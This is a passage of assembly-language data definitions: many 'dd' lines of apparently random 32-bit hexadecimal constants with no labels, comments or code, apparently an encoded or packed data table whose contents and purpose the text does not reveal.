dd 0C139760h, 2E643FE7h, 7066B2BAh, 0D307616Bh, 0B4F7B63Fh dd 2D8D41B4h, 5127F75Dh, 0A9AD8F42h, 475E461h, 7120ADC0h dd 0F40471E4h, 0D59E00ADh, 0ADF10433h, 5DA2ACC8h, 0F738E6C4h dd 0C77DA951h, 0F7A4C7C3h, 0CF84F343h, 9C8134EDh, 2DCDC7FCh dd 6CC1E7A7h, 34EDEA44h, 0C768C691h, 0D7DE6DC3h, 0A3A24441h dd 41D7DC6Dh, 0BFE105F7h, 656D93B7h, 812DCC86h, 0B365A5C7h dd 0C7B8ED6Fh, 0B16D5165h, 0ABB2CD2Dh, 0FF840D5Dh, 416EE7C5h dd 88FB66A8h, 0C70881C7h, 0F7072DEDh, 72B355EDh, 0E94347F7h dd 0ED9CD359h, 41A382FBh, 6C6DE405h, 87E8314Dh, 0E79547EBh dd 0E6C4C487h, 0AD637BB8h, 5091CF5Dh, 680DC77Bh, 0AF2D6DF2h dd 0B538E7D7h, 61F7AD83h, 0A24971E2h, 0A7E7E42Dh, 0FEFD8545h dd 7925815Bh, 81ADBCE0h, 0C665E651h, 0E7976DE0h, 0C3C559A2h dd 48F707ADh, 6DEE8467h, 556BE754h, 0F73FFEC4h, 46C38E51h dd 6F0AEDDCh, 9853516Bh, 0A92F082Dh, 0ED80CE71h, 61E25B97h dd 0F03FBB8Eh, 0A1284CF7h, 23002DA1h, 0FF06716Bh, 0A59A97EDh dd 2D8CE14Dh, 600CD71Dh, 3C01D747h, 0C745A530h, 0A160FFDBh dd 0F146456Bh, 0B5C7526Dh, 0F69661D0h, 0A477F7D3h, 79EA3BCh dd 0C755EDE7h, 0F71887DBh, 0E7467DE9h, 6DD754F5h, 0F4A3E149h dd 41E4E7F9h, 82ED8DA1h, 0DDD9393h, 0E7078692h, 0D6C445E1h dd 10E797EDh, 6DEC86D7h, 7DEBE7B6h, 3CADFC04h, 0C7E51D05h dd 2D95ADFDh, 0DCC745A5h, 0AF61ECB6h, 0EDA30D5Dh, 5967C7B8h dd 0C76DD3C5h, 5CB8DC7h, 0C7B8B2DDh, 0E5C76924h, 0B7D7EE2Dh dd 6DFB44C4h, 452BAC9Ch, 722D8DF5h, 54858F7h, 112A2DE6h dd 876F69A9h, 0DF61C53Fh, 36EBC4E0h, 49E20D42h, 6A68D22h dd 5471239h, 0D7347CF8h, 0C5045166h, 61E745B6h, 0AD58FF61h dd 0F43100DDh, 0DE8186A2h, 0BB7DA0D7h, 0B1403EBCh, 0F70475A4h dd 0E0A1A26Dh, 6DED075Dh, 712BFC19h, 2E86FFC6h, 0DE71ACA1h dd 91767350h, 9E58556Bh, 0E5D77F39h, 2DE6C749h, 71A3C7DFh dd 0C586FF06h, 461A220h, 0D7E814D0h, 7122512Ch, 0FB435D34h dd 0FCE206C3h, 656CF0EEh, 19378880h, 0AE4DED51h, 0C7FAF35Eh dd 58E2640Dh, 27531B81h, 0B3855255h, 616BB12Ch, 0CEFBD146h dd 47DCF2C0h, 0AD78EDCFh, 0ACFB6DA4h, 31C28CFCh, 6DDD4484h dd 0E8F4F7E4h, 0FC19D584h, 0C97DE4F7h, 0D2BAAD88h, 0EA468060h dd 634302ADh, 2DCCC54Dh, 0A70EE7F4h, 76EDA775h, 1451A0B1h dd 0C73791A9h, 966DAFA8h, 0AAE7157Bh, 0F40A7465h, 40B8C7E2h dd 89EDE146h, 0C5716BAEh, 0F7EFB4EBh, 0D0061822h, 0B7CC3EDh dd 0ADCDC5BFh, 0EBF2E7CEh, 0F73EFC04h, 0C858713Fh, 0E70F2D4Dh dd 0A8E17D28h, 0A9D72BB6h, 0F145AB55h, 752A21BDh, 0E9B1F368h dd 0C6E213E7h, 0D1652DC6h, 0E42841E9h, 6D237F66h, 2D6ECB51h dd 4965F707h, 0ADECC7h, 6E59E801h, 0F7D376BAh, 0C584716Dh dd 6C21BD2Dh, 0A05E6A5Dh, 716DB005h, 81ED690Bh, 5616DD7h dd 0E74A6DE6h, 0E544CED9h, 8DC74A6Dh, 0ADD0C5EBh, 59ADF7BDh dd 66ADD106h, 5F7FAC7h, 93B9EDE5h, 0BC8065A8h, 0A2F70AADh dd 6DA501B3h, 7C765127h, 6B3EF0C4h, 0F7712CE7h, 0BA501710h dd 981AA4AFh, 0E862B32Dh, 0A3FB4671h, 69ADE7FFh, 41BCD4C5h dd 0C844F0E7h, 0D734BA21h, 0A7F3596Dh, 0A0F72BADh, 6D67D351h dd 48B5C7FFh, 0E6B802CBh, 0A0CCF4C4h, 0D7E9F784h, 0BCAB5166h dd 7E7E4F1h, 0F38E02ABh, 456BA1A2h, 9F00E9C4h, 679EBC7h dd 0C78489E7h, 0A85C6168h, 0A0D25FFEh, 0E7844E6Dh, 41E96D87h dd 4807615Ch, 4404C3F7h, 0C75AEDF5h, 0B6EEDF3Ch, 56F7206Dh dd 6DA9E0DEh, 51232DFCh, 4ADA549h, 857166B0h, 13AEADDDh dd 507F45EFh, 6DD77EADh, 0ADCDC551h, 4D6613AEh, 0A4ADD0C6h dd 4744CF7h, 0AC87EDCAh, 0FF8649E6h, 0A5C7BAB4h, 0ED956165h dd 0D4F4F7A6h, 10236AA8h, 641284Ch, 0E7A22DFDh, 0BA9E45A6h dd 0A9E75835h, 0ADDFC461h dd 2CB7B0F2h, 31ADFEC5h, 409C60F7h, 0E7A06D6Ch, 0BD4951A3h dd 0C7B21D73h, 6DADE0CFh, 4521E7C3h, 0C36DAC0Fh, 46C387C7h dd 42BDEDF9h, 8C4D61E0h, 0E8EB12Dh, 6DE6C4A7h, 0B7CEF7AAh dd 38439B3Fh, 8F4126C7h, 6E487399h, 0AF4E59A5h, 8864D233h dd 23C1FE95h, 208A64DEh, 14B7D0C5h, 0F94DA5F7h, 10AB0648h dd 9F8E379Dh, 0ACE72613h, 0EDE7C665h, 7D6DE715h, 14C2FEC7h dd 4445E921h, 81A7C6C9h, 0D547A4D5h, 6CD71C84h, 0ED75207Dh dd 612CC787h, 58AD5C59h, 0F14755D7h, 0C73E6DA0h, 0F06D2059h dd 20917634h, 2D55BA75h, 39FF747h, 6BADBEB4h, 0C4E89BD7h dd 41DA31EDh, 0FF066169h, 67F7F886h, 0ADEF4645h, 4485D75Dh dd 39EDCD06h, 0FA6D65C7h, 0D7E7AD0Fh, 0CFC56D6Bh, 0FAC7A6ADh dd 6DE446C5h, 0A80002CAh, 5481F605h, 4684A3E7h, 0F79F2DFBh dd 0E846C0B5h, 262257EDh, 0EDA0564Dh, 51A03CD0h, 556DAE16h dd 4496BE7h, 2D732DD4h, 0F78561A2h, 6520E7ADh, 2D553555h dd 756BB386h, 74B9FA46h, 0C6796B91h, 0D7E1ADCFh, 0DE8649E6h dd 6B6156BCh, 3FB10945h, 55AD0DE9h, 0F5EDE887h, 45756463h dd 0E77FB4D4h, 0AD6049E7h, 0EFA1BB2Dh, 6DA80055h, 55AFE744h dd 42B7A200h, 8E49ACE7h, 0D71A2D8Dh, 69AC61E4h, 0EAD7DF2Dh dd 44FA4569h, 0F472F7D1h, 9C84D9C6h, 8677BFC7h, 0D7D32DD2h dd 0A8FF6D64h, 29E74470h, 2D742055h, 0C443A34Ch, 0D764DF45h dd 47432E7h, 0C707EDF7h, 5DE349ACh, 7CF7C6F7h, 348B5674h dd 0D2FBC7A0h, 0C3F4696Ah, 74C7CF7h, 0C08C04C2h, 0B3D7B45Eh dd 6AE79FB9h, 71AFC04Dh, 69665DF3h, 3987EFC7h, 206962C7h dd 731B2D81h, 6BED79AAh, 2A9E572Dh, 77F4057Dh, 65EDD786h dd 7FFF006h, 464568F7h, 0C2ACEDDCh, 9B6DC84Bh, 0E643246Dh dd 7AB22DACh, 7DE55F72h, 50C7F1C7h, 0C5412A01h, 0E7B6BCD4h dd 8D4C45ABh, 85D7032Dh, 8FF2C560h, 7F8461F1h, 0B8C7FFC7h dd 0EF61A4C7h, 0AF5A2D81h, 0E244696Bh, 0EDD754C7h, 2DC54765h dd 0EF45B326h, 0A3C7FFADh, 3C6966E0h, 0D7BFCF44h, 0DEC75387h dd 6B6D416Dh, 0D7CBC471h, 0E4856136h, 3DF4B5E3h, 5407B21h dd 912BEDE2h, 0A6525C00h, 35D7DC6Dh, 0ADA0AE48h, 8FACC7CCh dd 0CBADB5C0h, 445DECE7h, 0E794FCFBh, 411B5128h, 61F79D83h dd 0EDF54737h, 41A8912Bh, 0C4378642h, 2DF84EE7h, 0F71FB779h dd 0B581652Eh, 8B03A6EDh, 0ADC746C5h, 0CF79F722h, 9F6D4E0Eh dd 466563A3h, 21C42DD8h, 0A5027563h, 0A2F7866Dh, 2DCD4755h dd 4DA7F781h, 29B1FCA9h, 847DAAC7h, 93A2F6DCh, 0E547D473h dd 0ECE7ED76h, 4820955h, 71636BD2h, 1DF4BBBEh, 0C4FC9171h dd 0B386EDC3h, 0FC0455ADh, 0A5E7FF00h, 0B6BB0275h, 3CE4C7E2h dd 0F1389992h, 1441A0C7h, 21728E9Ah, 0A6CB5564h, 2A11166Dh dd 3706CB59h, 656BE7E9h, 0E26DCC45h, 0AD4DEED2h, 1CB7E55h dd 0A7ACD7C0h, 0D113886Dh, 0EDB82BECh, 0C6DC2D57h, 0BADD546h dd 604B45E7h, 0A1E32D89h, 0CB4645ABh, 0F4E7432Dh, 6DAA0EC8h dd 0C4B2F721h, 0FB6D966Bh, 4D687CF7h, 0F708ADA7h, 0E104F71Bh dd 66B0B4ADh, 6DED0749h, 55A2B383h, 27ADCF45h, 0C75374D7h dd 0E7EEADDEh, 0F6C7716Bh, 0A9D07978h, 6DE5C769h, 61E5A383h dd 0DF34CD04h, 77D28E7h, 0E7053CC5h, 4E22B725h, 0A0D7662Dh dd 2DA99449h, 0C0B5F75Ch, 0AC6DDEC7h, 6F4C3CCh, 0D772ADFAh dd 0EC447560h, 0F4A3FA6Dh, 2DE7C6C0h, 71E5E7EEh, 0DE6DEE84h dd 4655EDF7h, 0A3DFEDC5h, 0F7868069h, 35D7CBF7h, 0B5B3E050h dd 4D2F812Bh, 85F17FE9h, 877DABC0h, 0C7E562E8h, 0EEC741A3h dd 25C7B849h, 6DEC8469h, 5BB0E7A2h, 1F3CD147h, 0C76967F7h dd 8D666DDEh, 0CD45E402h, 0ACE7212Dh, 0EDAAE171h, 65E9E708h dd 74B6F684h, 0F9F490F7h, 0C700B158h, 0ECC5D78Ah, 35C7096Dh dd 6D96B2F3h, 414E7F1h, 9BB99ABFh, 0ABE8FFA0h, 0A3D8376Bh dd 0FA46516Bh, 8B4C652Dh, 0C683294Ch, 71A8D795h, 0F7AD8FE1h dd 6E4C1C7h, 0ECD6F7D0h, 0CC85A4E3h, 0EAD7DB47h, 0F4E34771h dd 7C7CF7F0h, 0DA6D6E16h, 468475F7h, 0F792EDDAh, 0E1C7E0B5h dd 6CD7ED2Dh, 79D7C593h, 71A9C72Bh, 15EDE304h, 75A821D8h dd 53CF6D25h, 0E6C64160h, 0A3F4B22Dh, 0F79EA4BCh, 0C49A907Fh dd 0A9FCEA86h, 0ADAE3351h, 0E296ADADh, 0E2058865h, 0A5F7F82Dh dd 0ADF34645h, 9EB0D725h, 0C0ED5C3Dh, 8579A2FEh, 0D70B6DE5h dd 0F5C5AFBEh, 63D06771h, 0ED985197h, 0C4D59DF0h, 6733EDC5h dd 10C7CF7h, 939F6DA2h, 0D6041A7Dh, 7BE797EDh, 0ADF5C788h dd 0B26A9383h, 9EAD34B6h, 0C52F2841h, 0C8DE21C1h, 0D1867DA8h dd 0B5E4DA21h, 0ADFDC7A9h, 37B48466h, 0A22DF984h, 4484EFA4h dd 0A0C5C1C3h, 0F905696Bh, 0A28324F8h, 37C2C551h, 4D6BEE10h dd 0A42DFEC6h, 0C76160B1h, 0C7C12DE6h, 0E8C5EB5Ah, 0E767BCh dd 7CFB46FCh, 75E7D705h, 0B3B9AA61h, 94D070C0h, 0F7B1ADB4h dd 0F0C555EFh, 0A5F730BCh, 0EDE0C745h, 752D83BAh, 0E7F4E086h dd 68748D0h, 0F744EDEAh, 0A942416Dh, 6D5E71B0h, 6DE9C765h dd 796D5273h, 5C2DE406h, 0C6FCE5C7h, 0B1A16DEEh, 0F504E4B5h dd 25BA33EDh, 6D641C6Dh, 8BCD7CFBh, 0F7ADE5C7h, 7CF473E7h dd 0F7782D59h, 0FBBF7D27h, 60E7C57Bh, 6DA80275h, 696CE7E4h dd 0B4ED9EFFh, 47565E7h, 0F77FEDE8h, 0CC46740Eh, 0E15E81FCh dd 0ADF80549h, 69E2C7DAh, 876DEE86h, 0C61F4CE7h, 0D7A56DEEh dd 62303F8Dh, 22F72BADh, 6DA77C45h, 649EC73Bh, 24CBA0B4h dd 0EF61A4ADh, 0E714EDADh, 4AE15DEDh, 2DB3A1B8h, 0EDC90445h dd 4565E71Fh, 60EDADA1h, 0C679ED91h, 8923EDC9h, 0FA877122h dd 41F732C1h, 6D92ABBBh, 79A91D9Bh, 0DFE0DDC7h, 76969F7h dd 0E70C3FD3h, 0FBC5A725h, 0A0C715ADh, 2DD4C749h, 4DA3C705h dd 766DA6A0h, 65925E7h, 4C8BB6C1h, 0EC857521h, 0E4E7746Dh dd 6DE68461h, 6527E7D5h, 642DE284h, 0A15164E7h, 0D7016D49h dd 0E1C708ADh, 65E7ECADh, 6DA3F741h, 9B28D7E0h, 2FBAE705h dd 0FC4D2081h, 0C7CAB105h, 9EF01440h, 0AEF097F7h, 2DDFC475h dd 4520F2F4h, 0C134E306h, 0C600B3F7h, 732DADE4h, 965B756Ah dd 12E70570h, 0F2E5C793h, 492D3100h, 0DAAD509Bh, 7796BE7h dd 3F9E6DF7h, 0A65971ADh, 5CF7337Ch, 0EDE54686h, 0D8B122B9h dd 0C26DD006h, 0A85C77E7h, 0D7416D85h, 0D5C73030h, 8383EF6Dh dd 2DE206B4h, 452BE7B4h, 4EDF6C7h, 48616F2Dh, 0E7A26DAEh dd 835A4929h, 0E6D7DCB3h, 6D9B3765h, 3C33D7DFh, 0DFF4EF84h dd 4649E0E7h, 711DEDEAh, 0E745EC5Bh, 0A2B1B6BAh, 76F04551h dd 65AA635Dh, 113387A8h, 7C434E7h, 2C0331F0h, 0D4C6EC00h dd 0B6E758BAh, 0ADD145E4h, 98D95032h, 0B06DED07h, 74D6DBDh dd 0D72539D1h, 479AF88Bh, 45E7C02Dh, 2DCE06C7h, 6563E763h dd 652DDB85h, 0EC71A081h, 0F0ADF8A6h, 0E646C5B0h, 0E19D322Dh dd 7BE08565h, 17B0F7C9h, 7BC6D90h, 0E36962D7h, 0E7FFEDA7h dd 0BE884529h, 2AD7DFFAh, 7CA40159h, 0BFF351C1h, 44B74343h dd 0FCBFB285h, 50542D66h, 0E487278Dh, 6EE715FCh, 0ADDF4551h dd 6D6BA165h, 0F9EDC904h, 0C5B4E3A1h, 0F2BC34C5h, 0E6C54520h dd 0BEC7376Dh, 0F1ADA4FCh, 7562D787h, 0BA6DECC5h, 3B452AE7h dd 0D714EDB5h, 0DDC555E5h, 2DD7F841h, 6D616879h, 0E0366273h dd 0ABFFF0C4h, 0BC6926F7h, 0E2623770h, 7262E456h, 0EDE7FFADh dd 71B6D771h, 0A4FC5D61h dd 0AAC7C104h, 0D65A2E7h, 6FE9AD5Dh, 490D6563h, 6B63ECADh dd 0EDE8C765h, 0CC04A1F9h, 0C7F7840Ah, 0C05DE3D7h, 53B6AD95h dd 0DE06E4B0h, 63A16B2Dh, 0ADE48465h, 24B99176h, 237FE285h dd 7006FD7h, 6D8FEDE4h, 0CA0759EAh, 0E7A1C807h, 0B6B6F141h dd 4D62C77Fh, 0DFADC444h, 855DE8C7h, 0C7C7F4F6h, 0C18475ADh dd 0EDD774FFh, 0EDF5065Dh, 41E28179h, 0E6F6E646h, 0C67DE5E7h dd 0EEC4EDE0h, 0EEC579A2h, 6BE7196Dh, 6DD48565h, 0A026DA77h dd 0E7B1FCB4h, 0F8D8B4E7h, 0C72C2D8Dh, 0D3067C3Fh, 0A590C2BAh dd 2DB96055h, 0BC6A63B6h, 387672DBh, 4645A5E7h, 0C7C5EDD5h dd 0E905787Dh, 0F5F7D974h, 0ADB2F854h, 80D383B0h, 0AA0C9E78h dd 0C75036D7h, 4D646DDBh, 0AE0BBCDFh, 20D7566Dh, 6DE94641h dd 0C4F4D7C9h, 3AADC307h, 4554B8D7h, 0ADD2EDCEh, 0F7C55DAFh dd 0DBC0415Ah, 7CAC77C0h, 6122E0BFh, 0BC6DA642h, 0E18C58D7h dd 20182DB5h, 69354569h, 168DE574h, 0FCECC6F4h, 0C08DD7D5h dd 80EDD005h, 86DC84CCh, 0E7B840C3h, 0B0AD7D6Bh, 90DC782Dh dd 2DEB46C4h, 741B1320h, 4E2DE0C7h, 456491B3h, 1577ADEBh dd 736FFC50h, 0A92055BEh, 0EDEB0475h, 0F346D045h, 0A1ADD7C5h dd 87556BF7h, 2BF286C1h, 0A18C189Fh, 76C7582Dh, 0BBFA87EFh dd 45ADF858h, 683AC084h, 0C6FB59A1h, 0E7ECEDE1h, 0CCC575EBh dd 2192E3BFh, 0B4D5C555h, 0F4F281ECh, 54ADFB04h, 0E355E029h dd 8324AD95h, 0BD1AA804h, 0A6D7B82Dh, 0EDF9444Dh, 592A50B2h dd 0DEF4AF95h, 6D416C7h, 0D7F8FCC6h, 0B5E361A4h, 68E7B6F2h dd 72D98461h, 84B90DD7h, 0DF2D89E0h, 0DA79AFD7h, 0E7B66DA6h dd 0B2AA612Ah, 0E4CEEBF4h, 34ADE245h, 61E5F7FFh, 392D9A42h dd 0E35565E7h, 93062D99h, 0B3EFF837h, 0CBD770ADh, 6DC1C4F0h dd 79E6239Eh, 0F0869DC1h, 4102A11h, 0CCEB6DCDh, 0C107F884h dd 9CC7CE8Eh, 6D8E48C0h, 5884354Ch, 8886C887h, 661E0E7h dd 0E75FBCFEh, 0F77B712Dh, 35D786EDh, 33D28524h, 74C5F7F5h dd 843EA02Fh, 0C761E0ECh, 0FA72DE4h, 0A7EE7164h, 6D1DD779h dd 2DCD8645h, 5168E73Eh, 0FBB0A291h, 0B1FBD973h, 0A2526D6Fh dd 0E084D456h, 6BE70511h, 7BFBC575h, 0FAE8198h, 1C2DA78Ah dd 7AADE8C7h, 3326ADBDh, 83AB0828h, 68A1F74Fh, 0EDDDC749h dd 69ACE726h, 152DDBC6h, 4F43DE7h, 0C7F1FCE2h, 0CDC6496Dh dd 28C7BA2Dh, 0F6948965h, 0C7F4F2A8h, 0D1F4B9E2h, 85F337C7h dd 0C7AAC4E3h, 9F0C45E5h, 59F720B6h, 0ED6AFA4Ch, 45AD3D97h dd 86FEEA04h, 21D4BCC7h, 43A56D8Eh, 6DD049AAh, 0EA117BEDh dd 71A69245h, 49AAD7DCh, 7EDA280h, 50045CE2h, 0F2806D47h dd 0BDEABA50h, 73A13000h, 6DAE2197h, 182DE746h, 4CF7F506h dd 45DC524Dh, 812BA0DAh, 0E804752Eh, 0AEC7BA84h, 0ED30F065h dd 41ED9C3Ah, 0ED3456BCh, 0C65DA7C0h, 0F7DD02D7h, 0D805C035h dd 75C7DDADh, 0B3CC86D4h, 0E73FC717h, 0FB6DA6FDh, 0FFBD024Ch dd 0AE52FCE7h, 0C1C6810Ch, 6DF7D083h, 2DC1C451h, 7163D778h dd 0CA63D132h, 76656D60h, 0E7CB6DA6h, 0A3CD79AFh, 0E1F7B8EDh dd 6D9D7D69h, 71E5B387h, 0C5EDDD04h, 7756EE7h, 0D7F8C3CAh dd 4D787127h, 0ACF79A2Dh, 2DDDC708h, 712B9487h, 14ED9E97h dd 8575A2F7h, 9CFF84F0h, 4DE8049Ah, 2CF7102Dh, 0ADE44637h dd 4521F72Bh, 80AD57FDh, 76A5BAF7h, 91252386h, 0E4C4A4F8h dd 0ED8E9133h, 1DF0559h, 6884B015h, 0F0F1CD07h, 9A75E7B1h dd 0E7EE888Dh, 6E77A381h, 0A5CA4F48h, 84C5C57Dh, 456BF7D9h dd 7343C6C7h, 447D6B6Ah, 0C79FFFE4h, 9D5F69A2h, 22C7DB6Dh dd 0AD868279h, 0E8F2E72Ch, 0F22DC9C7h, 6DE057C7h, 0C79A2D85h dd 9F35F8F5h, 0A2F786FAh, 0B3CD4665h, 0C316E763h, 0C36D9BF5h dd 0D4483CE7h, 81EA2D85h, 0C78549A7h, 63C7E6CCh, 0D2EBC465h dd 6924E76Dh, 68CAAA81h, 0FC3897F7h, 0D71C2DA4h, 0A76C55E5h dd 6A6231EDh, 0EDE70469h, 57036034h, 2AAD9339h, 87840A32h dd 5F2DF7C8h, 95E8B0F9h, 73DF72Dh, 0AD468CF8h, 87B5F716h dd 752DCD87h, 0F79065F7h, 2076B6BFh, 0D386C408h, 63E720ADh dd 0F991D565h, 4168D7DFh, 0E47FF585h, 0C47D24C7h, 3278EDDEh dd 0A858480Ch, 6BE731BAh, 0BACDC449h, 49ED0043h, 0BC3BCEC5h dd 0CF6168E7h, 2BB67493h, 78E861A8h, 2BA36F37h, 0CFC78465h dd 7380D78Bh, 0EA2DED06h, 51C8BE33h, 0E7862D8Dh, 98A1692Fh dd 40AEACEDh, 0ADD6C5A0h, 416BE724h, 1F7AE304h, 4AC9BF7h dd 0E7187AE3h, 0FB844168h, 60F714F3h, 0F4F4C661h, 9B5500D5h dd 0A0ED5AD9h, 4644F502h, 22442DC1h, 0E32F4B8Eh, 10F78D34h dd 0EDAFD5CBh, 49E46E6Ah, 962DA6D7h, 8471E990h, 0E0646DEEh dd 0F385452Bh, 0E42C39ADh, 2D9DAB7Dh, 59A5F7F8h, 0E1ADE806h dd 0E8B05BD7h, 2DF72D9Dh, 0E0C6BE3Eh, 6BE0E5ADh, 2DEEC755h dd 7D66917Bh, 0DFB6E7C6h, 6F4B1E7h, 0F7D030F0h, 0F88478F0h dd 3BB49C20h, 10D832B1h, 9785E751h, 0B06DEC46h, 6055EAE7h dd 6DFBAD90h, 400E8B4h, 0E9F1652Dh, 0F3FBBD7Dh, 656DD7C1h dd 3272E805h, 8061E1B2h, 0F74A6DA6h, 91AD3F87h, 2D83B1EDh dd 0ADE80580h, 71A2E7EDh, 446DEFC4h, 59786D7h, 0F7B8EDE6h dd 0A3A249A5h, 26E7E4B4h, 0ADD0C56Dh, 0A424C769h, 7A6DE885h dd 226927E7h, 0D707EDA9h, 0AEAEBC80h, 48C725ADh, 0F9F8C464h dd 4D63C7E2h, 1AF7C7C5h, 1612D5Dh, 0C729349Ah, 0B9EF6CC5h dd 0B8D79FEDh, 0AD90428Fh, 5DEDE77Ch, 1C04C707h, 226920B1h dd 0A19A72C9h, 0E7C5556Bh, 636D67E7h, 0AD75ED59h, 0C404B3A9h dd 0ABB0D885h, 85C4FA12h, 0C7142DCDh, 9B8CD032h, 76E75DF7h dd 0AD934A20h, 0F306E761h, 0B3BFCE86h, 2D5C85D7h, 733D6D8Dh dd 9FE1ACA1h, 0C3D7827Eh, 6DD94444h, 447A3350h, 646DF646h dd 444E18D7h, 0B1D9D7CFh, 8BE255E3h, 0BAE09BD3h, 6D6C02D5h dd 0D1854DFBh, 3D2D68CCh, 0ACDD8043h, 533DAD61h, 0DD44E03Ah dd 0A2812C87h, 34DAC55Dh, 5B42E770h, 3DED8E22h, 0EF708D53h dd 0D7EDF4A0h, 0C5C748C3h, 66D77574h, 4CFB8471h, 456DD745h dd 39B44F37h, 0C65D6D99h, 64055CD4h, 8DDB55E5h, 27C7458Ch dd 0F4B3894Dh, 71E9C797h, 716D9D79h, 5E7D22D7h, 0F72D2D9Eh dd 0F484E0F0h, 6B62D9ADh, 7BC6C775h, 59E3E7FFh, 0F6D9ACDh dd 761E2AEh, 0D7F0BEF8h, 0CE44FF05h, 22F707BEh, 34FCC545h dd 65A9D705h, 1471F585h, 0C7B8D7D7h, 0D7E77FE6h, 0D2C74960h dd 21C7DF2Dh, 0FCECC741h, 5569F222h, 0E739DE87h, 55563E2h dd 81E5EDE5h, 0CDC57D63h, 0ADD7202Dh, 79B40B41h, 792CF775h dd 0CEDAFD7h, 0C6596D13h, 0F7932DCDh, 910A749Dh, 63C763ADh dd 76A7B659h, 556DE7F5h, 14ED292Bh, 0F16DA5F7h, 0D724C948h dd 0E74571EDh, 0DCCC6CC8h, 7EF246CBh, 0EE749521h, 0CBF1DCC6h dd 7E71ABC7h, 0D71AD60h, 0C544CCA0h, 6AE7FAB7h, 0ADBCE141h dd 59EAA17Ch, 0B8BC8121h, 4752AE7h, 0A119EDEEh, 8BE17165h dd 78F7F1ADh, 2D4D6AB7h, 716FE746h, 0CB6D9A8Dh, 87FF93C7h dd 0BBA1ADD3h, 412ADD74h, 11C7BAEDh, 0EDC70670h, 59E01331h dd 70EDADB1h, 6696DD1h, 0C710F1F5h, 0B521D8F3h, 24F7E4B0h dd 0ADD2C700h, 45A2D0BEh, 0E6B1D4C5h, 447563E7h, 0A133BCF4h dd 0CDC5612Ah, 0E4C7A72Dh, 0B99A6036h, 75A2E765h, 0D36DA755h dd 2171E50Dh, 0C260819Ah, 0A7B2D4DCh, 78E7EB76h, 6D6EA1B7h dd 0D174E715h, 0FAB4572Ah dd 0C545A7E7h, 0E0D4EDDEh, 0F7047525h, 0A1C707EDh, 0ADF2C545h dd 65A721D5h, 8F2DCD85h, 956922D7h, 0F056F1B0h, 0D105496Dh dd 0E9C73271h, 0B9FFC545h, 456AA179h, 23B3C546h, 0EBAC7533h dd 0C7C92D8Eh, 0A2366CF3h, 0E2D7E7ADh, 0EDAB2249h, 4965E787h dd 9AB18861h, 0C5496BD0h, 0A0C7ADF3h, 85966920h, 20D2182Dh dd 0ADFC8449h, 796EE715h, 76ADD944h, 94456703h, 0C707ADB3h dd 808C84E8h, 23536031h, 6DA8104Dh, 61A0E744h, 642DA280h dd 0CD59E6E7h, 0E78734BCh, 0AD745161h, 61E078ADh, 0ADA92249h dd 0FC99E7ECh, 4AA1E0C6h, 46456AF8h, 83E2EDF1h, 0E0C475AAh dd 0A5502B31h, 0ADA1A841h, 60C5D7E4h, 1A3186EBh, 7B81501h dd 0F7DFC0DDh, 6A355DACh, 6BF7722Dh, 0F8D6477Dh, 5D2DF7CBh dd 0AD6D52B1h, 0C4B74BD7h, 0F7D1ADCDh, 0A8E3416Fh, 68E7B66Dh dd 0ADB13161h, 0C4F509C3h, 0B6F0EB86h, 4645EEE7h, 0F7F6ADE2h dd 0F4C75410h, 0EEADE5EDh, 0B4EB8465h, 7562E7C9h, 0D9BEEB87h dd 0A061E7E7h, 0D8A52DA9h, 0B3937DA2h, 0FDA0FD86h, 5CE00578h dd 5565E732h, 5BEDA936h, 569A2E0h, 0E7346DE8h, 0A3B47DA5h dd 0F023C32Dh, 0EDC304FCh, 69E6D707h, 0F7ADDBC7h, 459E5E7h dd 0D7DFEDF3h, 0B61169AFh, 49C786ADh, 0B1D7C790h, 456BC7DFh dd 1F388C12h, 0C769E5D7h, 0D7E42DE6h, 0E9845966h, 88F7B8EDh dd 0ED9E34F0h, 7DA2E0FBh, 1F73E904h, 7C452480h, 22E3F896h dd 0A6525567h, 0C7E7546Dh, 0F6DF06A4h, 616BEE7Bh, 212DD3C4h dd 41FB5CC8h, 81A4EDB1h, 8E894D6Eh, 0FBF7662Dh, 0ED63DF87h dd 71A6E71Fh, 4D068121h, 57B0BAECh, 1D63338Dh, 8A224921h dd 6BF705F3h, 0EDBCEA75h, 6962D7DFh, 7A38111h, 3D5D22D7h dd 11D42D8Ah, 0DDA169A5h, 31816126h, 0B0EB0508h, 59A2E7E7h dd 616DEEC5h, 856166F7h, 0D7A7ADD1h, 0DDC661EDh, 0EAD7B84Bh dd 2DA6F169h, 75E1F707h, 876DEE05h, 0A4FF7EC7h, 0C7EEF49Eh dd 0CFC7E03Eh, 0B2E727ADh, 0ED95A894h, 94E8C786h, 8C2DD605h dd 467D6BE7h, 0D352DF3h, 0E54555E9h, 65B1D2D9h, 0FCBEB317h dd 45EAF707h, 98ADDA46h, 9CBD01C7h, 0C7693240h, 0BE5C6528h dd 6D1DDC79h, 0EDF9C45Dh, 55ECF786h, 232DDFC7h, 4656E03h dd 816136DAh, 0E4455521h, 0AA50CD2Dh, 6DE68679h, 49E5F71Ch dd 0EC2D8CBEh, 84E4E0F7h, 0E7DFF9F3h, 0C786716Ah, 2A868B4h dd 2DD8C7B3h, 0E9743B5Eh, 27BEF3C6h, 0BEA82930h, 0B94B6DABh dd 82205DEDh, 95F7E7FCh, 0A2537757h, 61E06212h, 702DE3C7h dd 0AFB8F42Eh, 0C794ADBDh, 0BFA1F8F3h, 73E707F0h, 0EDBD32B0h dd 0E077B4FCh, 0D9309096h, 306DE5F7h, 0F2DC7A55h, 0D206186Bh dd 0FBD7D36Dh, 2D95E370h, 7411C7C1h, 352DF187h, 0C4A07413h dd 2376ADDCh, 0C18559E3h, 0B6B1D4C0h, 6DEC84F8h, 0B428E764h dd 7C3CDCC5h, 46452AA1h, 0F79AADECh, 0FC0644F4h, 0A9D785ADh dd 0FCF98645h, 4167F7DFh, 1077AAE8h, 6872FE7h, 0F7D3ADCDh dd 0BC6171E0h, 1F7ABB6h, 0ED44AF30h, 0D78583E4h, 60F4EFC5h dd 45E4F7BDh, 43A2FCC1h, 0CDC57963h, 5D7DAADh, 2D974B48h dd 0A226D763h, 9C06DEB0h, 0C74D2DF0h, 0D7E5F9F7h, 0F7077925h dd 0A0D764ADh, 0ED96B755h, 6DADF71Ah, 0EEADD386h, 420D2F7h dd 0C7ABEDE9h, 0EE042CE8h, 60F707EDh, 0EDE68565h, 6566F752h dd 67AD9791h, 458489F7h, 0C72BADE2h, 0C1046D6Ah, 65C71F2Dh dd 0EDB1BE61h, 65E1F72Fh, 0E1B08DECh, 7AF49AE7h, 0D73C6DA6h dd 0E0C7E81Ah, 72D71A73h, 0EDD504B8h, 65A5D714h, 0E1EDE385h dd 